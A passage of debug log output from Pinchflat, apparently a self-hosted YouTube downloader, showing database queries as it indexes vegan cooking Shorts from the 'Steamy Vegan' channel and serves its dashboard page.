AS s0 WHERE (s0."id" IN (?)) [1] 20:29:14.250 [debug] QUERY OK source="sources" db=0.1ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:14.253 [debug] QUERY OK source="media_items" db=1.9ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-17 00:00:22Z], 1] 20:29:14.254 [debug] QUERY OK source="media_items" db=0.6ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["15-SECOND TORTILLAS 🌮", "81e4aff5-500d-42dc-a371-a645b5053207", 1, [], 15, false, "pgcUXZOtaQA", "https://www.youtube.com/shorts/pgcUXZOtaQA", 371, "/downloads/downloads/alec/Steamy Vegan/2022-06-17 15-SECOND TORTILLAS 🌮/15-SECOND TORTILLAS 🌮 [pgcUXZOtaQA].NA", false, false, true, 3, ~U[2022-06-17 00:00:22Z], ~U[2026-03-22 03:29:14Z], ~U[2026-03-22 03:29:14Z], "", "15-SECOND TORTILLAS 🌮", 1, 15, false, "pgcUXZOtaQA", "https://www.youtube.com/shorts/pgcUXZOtaQA", "/downloads/downloads/alec/Steamy Vegan/2022-06-17 15-SECOND TORTILLAS 🌮/15-SECOND TORTILLAS 🌮 [pgcUXZOtaQA].NA", true, ~U[2022-06-17 00:00:22Z]] 20:29:14.254 [debug] QUERY OK source="sources" db=0.6ms idle=823.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:14.255 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:14.256 [debug] QUERY OK source="media_items" db=0.7ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [760] 20:29:14.257 [debug] Current batch of media processed. Will check again in 1000ms 20:29:15.258 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Here's a look at what I eat as a vegan when I'm sick. 😮\u200D💨 Hearty stews packed with plant-protein and veggies (plus a little SPICE) always make me feel good. \n\nI used up a bunch of random stuff in my fridge that was half-open or needing to be used -- half a jar of salsa, leftover diced canned tomatoes, pinto beans... you get the picture! Thank goodness it all turned out pretty yummy 😊\n\nMusic by Mark Generous - That One Morning - https://thmatc.co/?l=F6BC605E", "duration" => 35, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-16 What I eat as a vegan (when I’m sick 🤒)/What I eat as a vegan (when I’m sick 🤒) [tSQGetx6LyI].NA", "id" => "tSQGetx6LyI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/tSQGetx6LyI", "playlist_index" => 372, "timestamp" => 1655404248, "title" => "What I eat as a vegan (when I’m sick 🤒)", "upload_date" => "20220616"} 20:29:15.259 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:15.260 [debug] QUERY OK source="sources" db=0.5ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:15.262 [debug] QUERY OK source="media_items" db=1.8ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-16 18:30:48Z], 1] 20:29:15.263 [debug] QUERY OK source="media_items" db=1.1ms idle=1005.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Here's a look at what I eat as a vegan when I'm sick. 😮\u200D💨 Hearty stews packed with plant-protein and veggies (plus a little SPICE) always make me feel good. \n\nI used up a bunch of random stuff in my fridge that was half-open or needing to be used -- half a jar of salsa, leftover diced canned tomatoes, pinto beans... you get the picture! Thank goodness it all turned out pretty yummy 😊\n\nMusic by Mark Generous - That One Morning - https://thmatc.co/?l=F6BC605E", "What I eat as a vegan (when I’m sick 🤒)", "defe9fbd-1ae3-409d-8b5a-b7760529980c", 1, [], 35, false, "tSQGetx6LyI", "https://www.youtube.com/shorts/tSQGetx6LyI", 372, "/downloads/downloads/alec/Steamy Vegan/2022-06-16 What I eat as a vegan (when I’m sick 🤒)/What I eat as a vegan (when I’m sick 🤒) [tSQGetx6LyI].NA", false, false, true, 0, ~U[2022-06-16 18:30:48Z], ~U[2026-03-22 03:29:15Z], ~U[2026-03-22 03:29:15Z], "Here's a look at what I eat as a vegan when I'm sick. 😮\u200D💨 Hearty stews packed with plant-protein and veggies (plus a little SPICE) always make me feel good. \n\nI used up a bunch of random stuff in my fridge that was half-open or needing to be used -- half a jar of salsa, leftover diced canned tomatoes, pinto beans... you get the picture! Thank goodness it all turned out pretty yummy 😊\n\nMusic by Mark Generous - That One Morning - https://thmatc.co/?l=F6BC605E", "What I eat as a vegan (when I’m sick 🤒)", 1, 35, false, "tSQGetx6LyI", "https://www.youtube.com/shorts/tSQGetx6LyI", "/downloads/downloads/alec/Steamy Vegan/2022-06-16 What I eat as a vegan (when I’m sick 🤒)/What I eat as a vegan (when I’m sick 🤒) [tSQGetx6LyI].NA", true, ~U[2022-06-16 18:30:48Z]] 20:29:15.264 [debug] QUERY OK source="sources" db=0.2ms idle=831.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:15.265 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.2ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:15.265 [debug] QUERY OK source="media_items" db=0.4ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [761] 20:29:15.266 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Check out what I typically make for lunch on a vegan and gluten free diet. These are quick and easy to make ahead and pack in your lunchbox or great choices to make for a weekend lunch party.\n\nCheck out the full videos here:\n1. Vegan Nourish Bowl: https://youtu.be/QwOW-lZ0uck\n2. Tofu Egg Salad Sandwich: https://youtu.be/W3HgjDni794\n3. Viral Tik Tok Baked Feta Pasta: https://youtu.be/0x08omFb7wA\n4. High Protein Nicoise Salad: https://youtu.be/Ztps-dPnqW8\n\nSubscribe for more daily content and 2 full length videos per week all about eating a vegan and gluten free diet. Thanks for all your support and love!\nJanelle", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-16 My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet/My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet [xQbn8Eay39M].NA", "id" => "xQbn8Eay39M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/xQbn8Eay39M", "playlist_index" => 373, "timestamp" => 1655388033, "title" => "My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet", "upload_date" => "20220616"} 20:29:15.267 [debug] QUERY OK source="sources" db=0.7ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:15.267 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:15.269 [debug] QUERY OK source="media_items" db=1.8ms idle=3.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-16 14:00:33Z], 1] 20:29:15.271 [debug] QUERY OK source="media_items" db=1.0ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out what I typically make for lunch on a vegan and gluten free diet. These are quick and easy to make ahead and pack in your lunchbox or great choices to make for a weekend lunch party.\n\nCheck out the full videos here:\n1. Vegan Nourish Bowl: https://youtu.be/QwOW-lZ0uck\n2. Tofu Egg Salad Sandwich: https://youtu.be/W3HgjDni794\n3. Viral Tik Tok Baked Feta Pasta: https://youtu.be/0x08omFb7wA\n4. High Protein Nicoise Salad: https://youtu.be/Ztps-dPnqW8\n\nSubscribe for more daily content and 2 full length videos per week all about eating a vegan and gluten free diet. Thanks for all your support and love!\nJanelle", "My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet", "4ed6abbc-6fae-44c3-bb42-b8f467c0db00", 1, [], 15, false, "xQbn8Eay39M", "https://www.youtube.com/shorts/xQbn8Eay39M", 373, "/downloads/downloads/alec/Steamy Vegan/2022-06-16 My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet/My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet [xQbn8Eay39M].NA", false, false, true, 1, ~U[2022-06-16 14:00:33Z], ~U[2026-03-22 03:29:15Z], ~U[2026-03-22 03:29:15Z], "Check out what I typically make for lunch on a vegan and gluten free diet. These are quick and easy to make ahead and pack in your lunchbox or great choices to make for a weekend lunch party.\n\nCheck out the full videos here:\n1. Vegan Nourish Bowl: https://youtu.be/QwOW-lZ0uck\n2. Tofu Egg Salad Sandwich: https://youtu.be/W3HgjDni794\n3. Viral Tik Tok Baked Feta Pasta: https://youtu.be/0x08omFb7wA\n4. High Protein Nicoise Salad: https://youtu.be/Ztps-dPnqW8\n\nSubscribe for more daily content and 2 full length videos per week all about eating a vegan and gluten free diet. Thanks for all your support and love!\nJanelle", "My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet", 1, 15, false, "xQbn8Eay39M", "https://www.youtube.com/shorts/xQbn8Eay39M", "/downloads/downloads/alec/Steamy Vegan/2022-06-16 My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet/My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet [xQbn8Eay39M].NA", true, ~U[2022-06-16 14:00:33Z]] 20:29:15.271 [debug] QUERY OK source="sources" db=0.3ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:15.272 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:15.272 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [762] 20:29:15.273 [debug] Current batch of media processed. Will check again in 1000ms 20:29:15.373 [info] GET / 20:29:15.373 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:29:15.374 [debug] QUERY OK source="settings" db=0.9ms idle=104.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:29:15.375 [debug] QUERY OK source="media_profiles" db=0.3ms idle=103.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:29:15.375 [debug] QUERY OK source="sources" db=0.0ms idle=103.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:29:15.377 [debug] QUERY OK source="media_items" db=1.5ms idle=103.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:29:15.378 [debug] QUERY OK source="media_items" db=0.4ms idle=104.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:29:15.378 [debug] QUERY OK source="settings" db=0.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:29:15.379 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:29:15.379 [debug] QUERY OK source="settings" db=0.4ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:29:15.380 [debug] QUERY OK source="tasks" db=0.3ms idle=2.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:29:15.381 [debug] QUERY OK source="sources" db=0.2ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:15.382 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:29:15.383 [debug] QUERY OK source="media_items" db=1.3ms idle=3.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:29:15.386 [debug] QUERY OK source="media_items" db=1.9ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:29:15.387 [debug] QUERY OK source="media_items" db=0.6ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:29:15.388 [debug] QUERY OK source="sources" db=0.7ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:15.389 [info] Sent 200 in 16ms 20:29:15.549 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 